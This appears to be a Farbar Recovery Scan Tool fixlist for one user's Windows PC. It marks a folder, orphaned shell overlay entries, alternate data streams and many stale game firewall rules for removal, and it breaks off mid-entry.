Malware Log Analysis

Start:: SystemRestore: On CreateRestorePoint: CloseProcesses: 2026-06-10 23:54 - 2025-10-06 14:52 - 000000000 ____D C:\Users\ROG\AppData\Roaming\RenPy ShellIconOverlayIdentifiers: [ .WorkspaceExt0] -> {C568C78A-652C-425B-8E6B-FFA73043302D} => -> No File ShellIconOverlayIdentifiers: [ .WorkspaceExt1] -> {2A6FE247-5DA3-4732-9626-77820518FD77} => -> No File ShellIconOverlayIdentifiers: [ .WorkspaceExt2] -> {FF895810-293B-464A-93F2-82D11E07EEC8} => -> No File AlternateDataStreams: C:\Windows\Temp:A96ECA9E [37] AlternateDataStreams: C:\Windows\Temp:DeviceUUID [64] AlternateDataStreams: C:\Windows\tracing:? [13] AlternateDataStreams: C:\Users\ROG\Application Data:087af38c42a2e82c16575997b2d7a77b [394] AlternateDataStreams: C:\Users\ROG\Application Data:48e63d4de0a63256000858a7c61c87df [394] AlternateDataStreams: C:\Users\ROG\Application Data:86dabf594e68b7fb8ac56037576b6591 [394] AlternateDataStreams: C:\Users\ROG\Application Data:dc2fbb8b303cabdec52ed28927f75974 [394] AlternateDataStreams: C:\Users\ROG\Application Data:e544b77f725e4e36f962a435d8206045 [394] AlternateDataStreams: C:\Users\ROG\AppData\Roaming:087af38c42a2e82c16575997b2d7a77b [394] AlternateDataStreams: C:\Users\ROG\AppData\Roaming:48e63d4de0a63256000858a7c61c87df [394] AlternateDataStreams: C:\Users\ROG\AppData\Roaming:86dabf594e68b7fb8ac56037576b6591 [394] AlternateDataStreams: C:\Users\ROG\AppData\Roaming:dc2fbb8b303cabdec52ed28927f75974 [394] AlternateDataStreams: C:\Users\ROG\AppData\Roaming:e544b77f725e4e36f962a435d8206045 [394] AlternateDataStreams: C:\Users\ROG\AppData\Local\Temp:$DATA​ [34] FirewallRules: [{C34E0521-459C-497A-A507-E99CD9E27999}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe => No File FirewallRules: [{EC616013-94DB-4EF8-8240-F9A1FCBE6100}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe => No File FirewallRules: [{99E23661-C674-415C-B986-731B58938624}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Subverse\Subverse.exe => No File FirewallRules: [{588094E4-482F-40C9-B199-49F973481A9E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Subverse\Subverse.exe => No File FirewallRules: [TCP Query User{AA52C722-7C29-4348-899A-EF19F61041EE}C:\program files (x86)\steam\steamapps\common\subverse\subverse\binaries\win64\subverse-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\subverse\subverse\binaries\win64\subverse-win64-shipping.exe => No File FirewallRules: [UDP Query User{021D3EFF-1E8A-403A-AB14-C8EC00AAD797}C:\program files (x86)\steam\steamapps\common\subverse\subverse\binaries\win64\subverse-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\subverse\subverse\binaries\win64\subverse-win64-shipping.exe => No File FirewallRules: [TCP Query User{2BDDBCF8-0C37-4DAB-8B0E-1EBC243259BC}D:\himei\himei.exe] => (Allow) D:\himei\himei.exe => No File FirewallRules: [UDP Query User{66648C95-9E2C-43FC-866F-6F8CC33E12DD}D:\himei\himei.exe] => (Allow) D:\himei\himei.exe => No File FirewallRules: [{07C88A95-A050-4F76-9ACD-3279C8319594}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\KingdomComeDeliverance2\Bin\Win64MasterMasterSteamPGO\KingdomCome.exe => No File FirewallRules: [{1EB4C969-42A0-4295-8AD8-CC5007DE1591}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\KingdomComeDeliverance2\Bin\Win64MasterMasterSteamPGO\KingdomCome.exe => No File FirewallRules: [{892AF7CA-75E7-40CD-94B9-8DA22ED62E8D}] => (Allow) D:\SteamLibrary\steamapps\common\Dead by Daylight\DeadByDaylight.exe => No File FirewallRules: [{1BDFBF43-CEC7-4EB6-83A1-C34E9C6CE30C}] => (Allow) D:\SteamLibrary\steamapps\common\Dead by Daylight\DeadByDaylight.exe => No File FirewallRules: [TCP Query User{DEA11F8E-C59C-46F0-9740-B64AAE5FEC3B}D:\punishing gray raven\punishing gray raven game\pgr.exe] => (Allow) D:\punishing gray raven\punishing gray raven game\pgr.exe => No File FirewallRules: [UDP Query User{F9AB405F-02EB-45F1-90BD-042379C14FDA}D:\punishing gray raven\punishing gray raven game\pgr.exe] => (Allow) D:\punishing gray raven\punishing gray raven game\pgr.exe => No File FirewallRules: [{30C24A2B-3B2B-4286-8071-5B9D450DB23B}] => (Allow) D:\SteamLibrary\steamapps\common\The Hundred Line -Last Defense Academy- Demo Ver\HUNDRED_LINE_Demo.exe => No File FirewallRules: [{AAC84396-4FDC-4DE9-8180-F8011B0F6C1A}] => (Allow) D:\SteamLibrary\steamapps\common\The Hundred Line -Last Defense Academy- Demo Ver\HUNDRED_LINE_Demo.exe => No File FirewallRules: [{BED2D25C-F496-425A-8F1B-4A3BED299086}] => (Allow) D:\SteamLibrary\steamapps\common\SNOWBREAK\Game\Binaries\Win64\Game.exe => No File FirewallRules: [{543795CC-EE7F-40CB-BE23-D96A65E6AED1}] => (Allow) D:\SteamLibrary\steamapps\common\SNOWBREAK\Game\Binaries\Win64\Game.exe => No File FirewallRules: [{184C3857-930E-4C94-B299-876658F53C95}] => (Allow) D:\SteamLibrary\steamapps\common\House Flipper 2\HouseFlipper2.exe => No File FirewallRules: [{E78B17E2-B39D-4F73-A779-C43A05035E11}] => (Allow) D:\SteamLibrary\steamapps\common\House Flipper 2\HouseFlipper2.exe => No File FirewallRules: [TCP Query User{9E7D2C1B-B0B2-4ECF-ABC0-F8E52B9C13E9}C:\program files (x86)\steam\steamapps\common\guilty gear strive\red\binaries\win64\ggst-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\guilty gear strive\red\binaries\win64\ggst-win64-shipping.exe => No File FirewallRules: [UDP Query User{FB014896-4C1C-422C-AD88-3A783361021E}C:\program files (x86)\steam\steamapps\common\guilty gear strive\red\binaries\win64\ggst-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\guilty gear strive\red\binaries\win64\ggst-win64-shipping.exe => No File FirewallRules: [TCP Query User{D08D7CE3-0BB7-4FAE-9C23-99598321BBCD}C:\program files (x86)\steam\steamapps\common\granblue fantasy versus rising\red\binaries\win64\gbvsr-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\granblue fantasy versus rising\red\binaries\win64\gbvsr-win64-shipping.exe => No File FirewallRules: [UDP Query User{2B4C3A27-BECF-484F-89C3-9D9CFBCC1A9E}C:\program files (x86)\steam\steamapps\common\granblue fantasy versus rising\red\binaries\win64\gbvsr-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\granblue fantasy versus rising\red\binaries\win64\gbvsr-win64-shipping.exe => No File FirewallRules: [{8704371F-8644-4E77-88B7-78E3365480E0}] => (Allow) D:\SteamLibrary\steamapps\common\Strinova\Launcher\Strinova.exe => No File FirewallRules: [{CF0E98FC-6B81-49FF-97B4-85C9C936FA2D}] => (Allow) D:\SteamLibrary\steamapps\common\Strinova\Launcher\Strinova.exe => No File FirewallRules: [{185A8439-CED6-4475-9FF6-50F53A21CF7B}] => (Allow) D:\SteamLibrary\steamapps\common\Eternal Return\EternalReturn.exe => No File FirewallRules: [{2B9DCF81-CD87-4CFC-A560-2B21FB099C50}] => (Allow) D:\SteamLibrary\steamapps\common\Eternal Return\EternalReturn.exe => No File FirewallRules: [{3736AB8B-BA94-44C2-B2D2-253708093BD3}] => (Allow) D:\SteamLibrary\steamapps\common\P3R\P3R\Binaries\Win64\P3R.exe => No File FirewallRules: [{BEEE18E6-2981-486A-B47B-707AA2FFA5CF}] => (Allow) D:\SteamLibrary\steamapps\common\P3R\P3R\Binaries\Win64\P3R.exe => No File FirewallRules: [{91B2903C-82A8-4F41-B102-26C0AA50012D}] => (Allow) D:\SteamLibrary\steamapps\common\RimWorld\RimWorldWin64.exe => No File FirewallRules: [{C0CAF21F-0403-4937-995E-91722C148E64}] => (Allow) D:\SteamLibrary\steamapps\common\RimWorld\RimWorldWin64.exe => No File FirewallRules: [TCP Query User{0E371936-8CC7-4C99-8EA0-5ED31E83AB31}D:\steamlibrary\steamapps\common\the first descendant\m1\binaries\win64\m1-win64-shipping.exe] => (Allow) D:\steamlibrary\steamapps\common\the first descendant\m1\binaries\win64\m1-win64-shipping.exe => No File FirewallRules: [UDP Query User{442B72B4-A4E7-4284-8914-0D5D795114D2}D:\steamlibrary\steamapps\common\the first descendant\m1\binaries\win64\m1-win64-shipping.exe] => (Allow) D:\steamlibrary\steamapps\common\the first descendant\m1\binaries\win64\m1-win64-shipping.exe => No File FirewallRules: [{83136A01-F1AA-40AF-925F-41721BDF310E}] => (Allow) D:\SteamLibrary\steamapps\common\Satisfactory\FactoryGameSteam.exe => No File FirewallRules: [{D323D28D-3BF9-4F44-B1B1-208DD240FB80}] => (Allow) D:\SteamLibrary\steamapps\common\Satisfactory\FactoryGameSteam.exe => No File FirewallRules: [TCP Query User{F3EF0394-F540-4BD1-BBDF-1B5D21D9A4E4}E:\ue_5.6\engine\binaries\win64\unrealeditor.exe] => (Allow) E:\ue_5.6\engine\binaries\win64\unrealeditor.exe => No File FirewallRules: [UDP Query User{E1249B87-E693-45A6-B5C7-6EB154A4FEC2}E:\ue_5.6\engine\binaries\win64\unrealeditor.exe] => (Allow) E:\ue_5.6\engine\binaries\win64\unrealeditor.exe => No File FirewallRules: [{00E199C3-1301-4CCF-9E05-91BE2B57444E}] => (Allow) E:\SteamLibrary\steamapps\common\UmamusumePrettyDerby\UmamusumePrettyDerby.exe => No File FirewallRules: [{47CCBFA5-A9F3-4848-A70F-76EE4F9DE136}] => (Allow) E:\SteamLibrary\steamapps\common\UmamusumePrettyDerby\UmamusumePrettyDerby.exe => No File FirewallRules: [{2CA2177F-4BED-4937-BC44-D24CF3A758F2}] => (Allow) E:\P5XSEA\P5XLaunch\P5XGame.exe => No File FirewallRules: [{6AB333B9-FD31-4524-BF37-24E13AFE5731}] => (Allow) E:\P5XSEA\P5XLaunch\P5XGame.exe => No File FirewallRules: [{CD0C462E-62A1-4482-BF72-7A6CFD80D203}] => (Allow) E:\P5XSEA\P5XLaunch\P5XUpdate.exe => No File FirewallRules: [{EB9DE343-2436-4DDB-B5AF-7056D8A01B75}] => (Allow) E:\P5XSEA\P5XLaunch\P5XUpdate.exe => No File FirewallRules: [{A836046C-C1B6-4256-AA55-27ED0230B195}] => (Allow) E:\P5XSEA\P5XLaunch\P5XBrowser.exe => No File FirewallRules: [{24A87F13-6F02-4E53-AA80-876EC173E023}] => (Allow) E:\P5XSEA\P5XLaunch\P5XBrowser.exe => No File FirewallRules: [{A7C8F6F6-F9CF-41B7-9623-56E8D6C37FCC}] => (Allow) E:\P5XSEA\P5XLaunch\P5XWebBooster.exe => No File FirewallRules: [{79BDF6A7-A07E-4495-A218-63FA5FB4D4B2}] => (Allow) E:\P5XSEA\P5XLaunch\P5XWebBooster.exe => No File FirewallRules: [{2A5B1784-E17D-41C6-BDE1-ECA88071C0E3}] => (Allow) E:\P5XSEA\client\pc\P5X.exe => No File FirewallRules: [{3B813987-11CA-46EA-AC1C-8EA6D6452B22}] => (Allow) E:\P5XSEA\client\pc\P5X.exe => No File FirewallRules: [TCP Query User{5BC1BAEC-3F44-4776-86FE-03726CE4E396}E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery.exe] => (Allow) E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery.exe => No File FirewallRules: [UDP Query User{8C1C9534-F4EA-4B41-8E3E-0F5BBF31357F}E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery.exe] => (Allow) E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery.exe => No File FirewallRules: [{A79BE26F-3937-436F-8F98-9B81BA3046C7}] => (Allow) C:2\SteamLibrary\steamapps\common\SUPERVIVE\SUPERVIVE.exe => No File FirewallRules: [{8078661D-49C1-4659-BA5F-8B0885FA315C}] => (Allow) C:2\SteamLibrary\steamapps\common\SUPERVIVE\SUPERVIVE.exe => No File FirewallRules: [{E97895F8-1864-43C5-B544-74EFCFE6E197}] => (Allow) C:4\SteamLibrary\steamapps\common\Reverse 1999\reverse1999.exe => No File FirewallRules: [{43E230B6-A59F-4A8D-B7D4-4352723FBC85}] => (Allow) C:4\SteamLibrary\steamapps\common\Reverse 1999\reverse1999.exe => No File FirewallRules: [TCP Query User{4FA84516-EBFA-4531-BC7E-F904EC19E699}E:\silver and blood\silverandblood\silverandblood.exe] => (Block) E:\silver and blood\silverandblood\silverandblood.exe => No File FirewallRules: [UDP Query User{EC6EF181-0D9C-45BF-9C71-A333E93C2F50}E:\silver and blood\silverandblood\silverandblood.exe] => (Block) E:\silver and blood\silverandblood\silverandblood.exe => No File FirewallRules: [{5DB4C7A6-044F-43E4-9323-4C66157B9D97}] => (Allow) E:\SteamLibrary\steamapps\common\Ready Or Not\Engine\Binaries\Win64\CrashReporter.exe => No File FirewallRules: [{98AD6932-9C40-49AD-924A-9E36CE981195}] => (Allow) E:\SteamLibrary\steamapps\common\Ready Or Not\Engine\Binaries\Win64\CrashReporter.exe => No File FirewallRules: [{DD3D5786-AFB4-41C3-AD2C-3F32F4CC925B}] => (Allow) E:\SteamLibrary\steamapps\common\SMITE 2\Windows\Hemingway.exe => No File FirewallRules: [{5EDEE02C-F4C1-4248-933E-8A7F61BFF291}] => (Allow) E:\SteamLibrary\steamapps\common\SMITE 2\Windows\Hemingway.exe => No File FirewallRules: [TCP Query User{C77E7A7F-ABD5-4131-9B1F-0ED75301FA83}E:\steamlibrary\steamapps\common\ready or not\readyornot\binaries\win64\readyornotsteam-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\ready or not\readyornot\binaries\win64\readyornotsteam-win64-shipping.exe => No File FirewallRules: [UDP Query User{84EF8759-21A3-4232-A35B-7A55D2D3209C}E:\steamlibrary\steamapps\common\ready or not\readyornot\binaries\win64\readyornotsteam-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\ready or not\readyornot\binaries\win64\readyornotsteam-win64-shipping.exe => No File FirewallRules: [TCP Query User{764A1D5A-4C24-400A-8D36-B4717FEE9D0B}E:\games\epicseven\epicseven.exe] => (Allow) E:\games\epicseven\epicseven.exe => No File FirewallRules: [UDP Query User{D1E32FFB-BCEF-4275-9189-BC0DC02CB80E}E:\games\epicseven\epicseven.exe] => (Allow) E:\games\epicseven\epicseven.exe => No File FirewallRules: [TCP Query User{D97B5D46-9153-46E9-A907-091B7EBD7DB4}E:\steamlibrary\steamapps\common\fragpunk\fragpunk\binaries\win64\fragpunk.exe] => (Allow) E:\steamlibrary\steamapps\common\fragpunk\fragpunk\binaries\win64\fragpunk.exe => No File FirewallRules: [UDP Query User{4660A3CF-7AC0-4E20-9F6F-756B237C84B8}E:\steamlibrary\steamapps\common\fragpunk\fragpunk\binaries\win64\fragpunk.exe] => (Allow) E:\steamlibrary\steamapps\common\fragpunk\fragpunk\binaries\win64\fragpunk.exe => No File FirewallRules: [TCP Query User{70C1E48D-CFFC-48A6-A109-FF4BBFB829A2}C:\users\rog\appdata\local\temp\e91bd34f-40a9-491a-a38b-a2eb34b3b82b_hitomi_downloader_gui.zip.82b\hitomi_downloader_gui.exe] => (Allow) C:\users\rog\appdata\local\temp\e91bd34f-40a9-491a-a38b-a2eb34b3b82b_hitomi_downloader_gui.zip.82b\hitomi_downloader_gui.exe => No File FirewallRules: [UDP Query User{906D7050-C85F-4B4F-85E7-97DB5EA5674A}C:\users\rog\appdata\local\temp\e91bd34f-40a9-491a-a38b-a2eb34b3b82b_hitomi_downloader_gui.zip.82b\hitomi_downloader_gui.exe] => (Allow) C:\users\rog\appdata\local\temp\e91bd34f-40a9-491a-a38b-a2eb34b3b82b_hitomi_downloader_gui.zip.82b\hitomi_downloader_gui.exe => No File FirewallRules: [TCP Query User{F7C5C52B-2E1F-4E7C-8916-33D163E7FFBE}E:\steamlibrary\steamapps\common\battlefield 1\bf1.exe] => (Block) E:\steamlibrary\steamapps\common\battlefield 1\bf1.exe => No File FirewallRules: [UDP Query User{3CC151EF-D458-4E5F-BE86-1333C6E79D42}E:\steamlibrary\steamapps\common\battlefield 1\bf1.exe] => (Block) E:\steamlibrary\steamapps\common\battlefield 1\bf1.exe => No File FirewallRules: [TCP Query User{0802517B-2CE8-4C1A-BFFA-A620867AAD29}E:\steamlibrary\steamapps\common\glacier events\bf6event.exe] => (Allow) E:\steamlibrary\steamapps\common\glacier events\bf6event.exe => No File FirewallRules: [UDP Query User{07F13587-E627-47DB-87F6-A81B12EA5BB2}E:\steamlibrary\steamapps\common\glacier events\bf6event.exe] => (Allow) E:\steamlibrary\steamapps\common\glacier events\bf6event.exe => No File FirewallRules: [TCP Query User{6C754FCD-D15A-408E-94B5-9E038FB1DC50}E:\steamlibrary\steamapps\common\farlight 84\windowsclient\solarland\binaries\win64\solarlandclient-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\farlight 84\windowsclient\solarland\binaries\win64\solarlandclient-win64-shipping.exe => No File FirewallRules: [UDP Query User{8137D99D-DE05-4C97-B198-F9486D4C398A}E:\steamlibrary\steamapps\common\farlight 84\windowsclient\solarland\binaries\win64\solarlandclient-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\farlight 84\windowsclient\solarland\binaries\win64\solarlandclient-win64-shipping.exe => No File FirewallRules: [TCP Query User{9C3EF630-D8AE-4989-983F-FB821FE9D382}E:\steamlibrary\steamapps\common\the first descendant\m1\binaries\win64\m1-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\the first descendant\m1\binaries\win64\m1-win64-shipping.exe => No File FirewallRules: [UDP Query User{A55D722B-70E0-4C52-AC0D-D56D0EA5AB39}E:\steamlibrary\steamapps\common\the first descendant\m1\binaries\win64\m1-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\the first descendant\m1\binaries\win64\m1-win64-shipping.exe => No File FirewallRules: [TCP Query User{D8DFDB5D-6AD1-43CA-A180-856E11C6E011}E:\steamlibrary\steamapps\common\inzoi\blueclient\binaries\win64\inzoi-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\inzoi\blueclient\binaries\win64\inzoi-win64-shipping.exe => No File FirewallRules: [UDP Query User{0C95DBB6-38C1-45F6-8D0D-383656B6B766}E:\steamlibrary\steamapps\common\inzoi\blueclient\binaries\win64\inzoi-win64-shipping.exe] => (Allow) E:\steamlibrary\steamapps\common\inzoi\blueclient\binaries\win64\inzoi-win64-shipping.exe => No File FirewallRules: [{CBAFCABC-7361-47FE-BD9C-2D7A883D718A}] => (Allow) C:3\SteamLibrary\steamapps\common\Path of Exile 2\PathOfExileSteam.exe => No File FirewallRules: [{C1B943E1-DF33-411A-BC60-5B96895419C6}] => (Allow) C:3\SteamLibrary\steamapps\common\Path of Exile 2\PathOfExileSteam.exe => No File FirewallRules: [TCP Query User{E7DF119A-FE8B-4D54-9B17-281C1FA881D1}E:\riot games\riot client\riotclientelectron\riot client.exe] => (Allow) E:\riot games\riot client\riotclientelectron\riot client.exe => No File FirewallRules: [UDP Query User{01967108-D2C1-4025-BA1C-E387B30E5353}E:\riot games\riot client\riotclientelectron\riot client.exe] => (Allow) E:\riot games\riot client\riotclientelectron\riot client.exe => No File FirewallRules: [TCP Query User{3C6F2FDA-4583-420F-92E8-79EFEE9AC804}E:\riot games\2xko\live\lion\binaries\win64\lion-win64-shipping.exe] => (Allow) E:\riot games\2xko\live\lion\binaries\win64\lion-win64-shipping.exe => No File FirewallRules: [UDP Query User{8F9242BB-FCC7-426E-8F9F-B0C92FA229DD}E:\riot games\2xko\live\lion\binaries\win64\lion-win64-shipping.exe] => (Allow) E:\riot games\2xko\live\lion\binaries\win64\lion-win64-shipping.exe => No File FirewallRules: [TCP Query User{E3384B8A-8E6D-43BD-966A-D23AF02F97ED}E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery-e.exe] => (Allow) E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery-e.exe => No File FirewallRules: [UDP Query User{6A0F8CA0-4BF3-40D4-89F8-93A345C88A1F}E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery-e.exe] => (Allow) E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery-e.exe => No File FirewallRules: [TCP Query User{8FDD3441-ACBE-432C-8195-85721DF1B8A7}E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery-d.exe] => (Allow) E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery-d.exe => No File FirewallRules: [UDP Query User{FBB024BA-7F13-4C1A-B64E-358ED23C77E4}E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery-d.exe] => (Allow) E:\steamlibrary\steamapps\common\the finals\discovery\binaries\win64\discovery-d.exe => No File FirewallRules: [{924FEF94-1A8A-4DB8-A827-D89CB0F1D21F}] => (Allow) E:\SteamLibrary\steamapps\common\ABInfinite\Launcher\arena_breakout_infinite_launcher.exe => No File FirewallRules: [{E94BA6CA-D115-4AC0-8B9D-B199DDE404F0}] => (Allow) E:\SteamLibrary\steamapps\common\ABInfinite\Launcher\arena_breakout_infinite_launcher.exe => No File FirewallRules: [{6C334B64-67DF-47DA-B14F-797C821D51DF}] => (Allow) E:\SteamLibrary\steamapps\common\SNOWBREAK\Game\Binaries\Win64\Game.exe => No File FirewallRules: [{EBBC8B55-F8E8-4CA9-9F89-E667A72CC6DA}] => (Allow) E:\SteamLibrary\steamapps\common\SNOWBREAK\Game\Binaries\Win64\Game.exe => No File FirewallRules: [{251A6A54-CBCA-4FDC-90E3-F19185EB22C5}] => (Allow) e:\program files\txgameassistant\appmarket\AppMarket.exe => No File FirewallRules: [{57999A2A-19FF-4DCD-A0F7-1CA1B252C26C}] => (Allow) e:\program files\txgameassistant\appmarket\TInst.exe => No File FirewallRules: [{7556672A-1062-4F6C-B830-22656AB1A748}] => (Allow) e:\program files\txgameassistant\appmarket\bugreport.exe => No File FirewallRules: [{AE65A2BD-1E13-4CB1-9F21-E8755C968F6A}] => (Allow) e:\program files\txgameassistant\appmarket\QQExternal.exe => No File FirewallRules: [{9BD5A509-56EC-418C-8AB1-45F735964237}] => (Allow) e:\program files\txgameassistant\appmarket\GameDownload.exe => No File FirewallRules: [{B100E896-5941-4D92-933D-5DC3342338FE}] => (Allow) e:\program files\txgameassistant\appmarket\GF186\TUpdate.exe => No File FirewallRules: [{DDD7282E-4A85-4082-9B43-73A897169C9B}] => (Allow) E:\Program Files\TxGameAssistant\AppMarket\DL\syzs_dl_svr.exe => No File FirewallRules: [{787B4CBB-47D0-4B80-B4FA-8B0910D4FC06}] => (Allow) E:\Program Files\TxGameAssistant\AppMarket\DL\syzs_dl_svr.exe => No File FirewallRules: [{FAC84B60-E106-49A5-AA5E-8AB4FF088759}] => (Allow) E:\Program Files\TxGameAssistant\AppMarket\DL\syzs_dl_svr.exe => No File FirewallRules: [{07F9CE6A-2FA2-4781-A3BA-1F21743D707A}] => (Allow) E:\Program Files\TxGameAssistant\AppMarket\DL\syzs_dl_svr.exe => No File FirewallRules: [{5F0FAC8A-ABE8-4BE8-B5A7-BA96C9C24EE0}] => (Allow) E:\Program Files\TxGameAssistant\AppMarket\DL\syzs_dl_svr.exe => No File FirewallRules: [{68B9270F-CB60-4C48-A42F-217ACFE690AC}] => (Allow) E:\Program Files\TxGameAssistant\AppMarket\DL\syzs_dl_svr.exe => No File FirewallRules: [{E00F957A-9117-428A-BE16-69E2E3C9D0E0}] => (Allow) e:\program files\txgameassistant\ui\AndroidEmulator.exe => No File FirewallRules: [{3F09656E-68D4-4FD8-B42B-DBED55CBD9BF}] => (Allow) e:\program files\txgameassistant\ui\AndroidEmulatorEx.exe => No File FirewallRules: [{44E65C36-EFF5-44AA-911E-22AF34F8FAF6}] => (Allow) e:\program files\txgameassistant\ui\AndroidEmulatorEn.exe => No File FirewallRules: [{CAC2FD05-14F8-4DDA-A62C-A2B2CD360522}] => (Allow) e:\program files\txgameassistant\ui\adb.exe => No File FirewallRules: [{284762D8-BCDE-4327-8CF7-AE26221BD443}] => (Allow) e:\program files\txgameassistant\ui\TInst.exe => No File FirewallRules: [{83CB287F-966B-4A1A-832A-5B93EF399578}] => (Allow) e:\program files\txgameassistant\ui\bugreport.exe => No File FirewallRules: [{58BD51AC-2DB3-41D6-896A-181AA00E7B16}] => (Allow) e:\program files\txgameassistant\ui\TxGaDcc.exe => No File FirewallRules: [TCP Query User{3358797D-2498-445F-87FA-3CB030ACB6F2}E:\steamlibrary\steamapps\common\battlefield 6\bf6.exe] => (Allow) E:\steamlibrary\steamapps\common\battlefield 6\bf6.exe => No File FirewallRules: [UDP Query User{C4306E96-FEF4-4F12-8073-8826D8B7DDB9}E:\steamlibrary\steamapps\common\battlefield 6\bf6.exe] => (Allow) E:\steamlibrary\steamapps\common\battlefield 6\bf6.exe => No File FirewallRules: [{C3349C3F-EF70-484F-9909-3F5830AC92E1}] => (Allow) E:\SteamLibrary\steamapps\common\SNOWBREAK\Game\Binaries\Win64\Game.exe => No File FirewallRules: [{EF0C9FA4-9326-4159-A904-63BF6D41A9E3}] => (Allow) E:\SteamLibrary\steamapps\common\SNOWBREAK\Game\Binaries\Win64\Game.exe => No File FirewallRules: [TCP Query User{0F20456E-61BA-45F4-AD61-BDE49B99EC6E}E:\steamlibrary\steamapps\common\arc raiders playtest\pioneergame\binaries\win64\pioneergame.exe] => (Allow) E:\steamlibrary\steamapps\common\arc raiders playtest\pioneergame\binaries\win64\pioneergame.exe => No File FirewallRules: [UDP Query User{C6FC0DAC-AAF5-44AC-98DD-45604DDF4388}E:\steamlibrary\steamapps\common\arc raiders playtest\pioneergame\binaries\win64\pioneergame.exe] => (Allow) E:\steamlibrary\steamapps\common\arc raiders playtest\pioneergame\binaries\win64\pioneergame.exe => No File FirewallRules: [TCP Query User{C7F652FD-C5A2-4B28-AF80-4DBFD79867E7}E:\yostargames\stellasora_en\stellasora.exe] => (Allow) E:\yostargames\stellasora_en\stellasora.exe => No File FirewallRules: [UDP Query User{F4B24AF4-9189-4D40-A6AA-0403B87A665D}E:\yostargames\stellasora_en\stellasora.exe] => (Allow) E:\yostargames\stellasora_en\stellasora.exe => No File FirewallRules: [TCP Query User{7ECB295B-821B-4160-934A-0E65A73FCF22}E:\games\chaoszeronightmare\bin\ssr-stove-shield.exe] => (Allow) E:\games\chaoszeronightmare\bin\ssr-stove-shield.exe => No File FirewallRules: [UDP Query User{0F5EFED8-2962-4781-A3B1-4E2C58DA9BFC}E:\games\chaoszeronightmare\bin\ssr-stove-shield.exe] => (Allow) E:\games\chaoszeronightmare\bin\ssr-stove-shield.exe => No File FirewallRules: [{82621C2C-F0CB-4B64-A8E9-3EBCB6A228AC}] => (Allow) E:\SteamLibrary\steamapps\common\Hades II\Ship\Hades2.exe => No File FirewallRules: [{503D2F0A-7AF9-4643-A354-3DF3D4CA64EF}] => (Allow) E:\SteamLibrary\steamapps\common\Hades II\Ship\Hades2.exe => No File FirewallRules: [TCP Query User{4328A1B7-A527-423D-8A27-1D0E1623A598}E:\steamlibrary\steamapps\common\arc raiders\pioneergame\binaries\win64\pioneergame.exe] => (Allow) E:\steamlibrary\steamapps\common\arc raiders\pioneergame\binaries\win64\pioneergame.exe => No File FirewallRules: [UDP Query User{99248889-6166-493A-95D4-B5D87D19695C}E:\steamlibrary\steamapps\common\arc raiders\pioneergame\binaries\win64\pioneergame.exe] => (Allow) E:\steamlibrary\steamapps\common\arc raiders\pioneergame\binaries\win64\pioneergame.exe => No File FirewallRules: [TCP Query User{F4DF5DD7-DC70-43EE-B5B2-71E278A1452F}E:\seasunsnowbreakos\game\snowbreak\game\game\binaries\win64\game.exe] => (Allow) E:\seasunsnowbreakos\game\snowbreak\game\game\binaries\win64\game.exe => No File FirewallRules: [UDP Query User{AAAE8AB0-C34E-4B92-9D2C-F420814E8081}E:\seasunsnowbreakos\game\snowbreak\game\game\binaries\win64\game.exe] => (Allow) E:\seasunsnowbreakos\game\snowbreak\game\game\binaries\win64\game.exe => No File FirewallRules: [TCP Query User{1DD16F8D-8E3F-4752-B5B8-9F9C75FB7DC8}E:\steamlibrary\steamapps\common\naraka bladepoint\narakabladepoint.exe] => (Allow) E:\steamlibrary\steamapps\common\naraka bladepoint\narakabladepoint.exe => No File FirewallRules: [UDP Query User{F0C2E0A3-03F7-4F1E-BDF6-A9D31ED9D530}E:\steamlibrary\steamapps\common\naraka bladepoint\narakabladepoint.exe] => (Allow) E:\steamlibrary\steamapps\common\naraka bladepoint\narakabladepoint.exe => No File FirewallRules: [TCP Query User{3082F3A5-64B3-4CAC-8597-A5CEC372D4C3}E:\steamlibrary\steamapps\common\naraka bladepoint\ccmini\ccmini_new\ccmini.exe] => (Allow) E:\steamlibrary\steamapps\common\naraka bladepoint\ccmini\ccmini_new\ccmini.exe => No File FirewallRules: [UDP Query User{9759F359-9C63-48D3-8950-0E0B756313A6}E:\steamlibrary\steamapps\common\naraka bladepoint\ccmini\ccmini_new\ccmini.exe] => (Allow) E:\steamlibrary\steamapps\common\naraka bladepoint\ccmini\ccmini_new\ccmini.exe => No File FirewallRules: [{5F05D428-77F8-43A2-8D15-3675DAFAD974}] => (Allow) C:\Program Files (x86)\NCSOFT\Purple\yeti\yeti_v2.1.566.2511_global\purpleon.exe => No File FirewallRules: [{657D3270-52E6-4A41-9223-0AD0715E22EC}] => (Allow) C:\Program Files 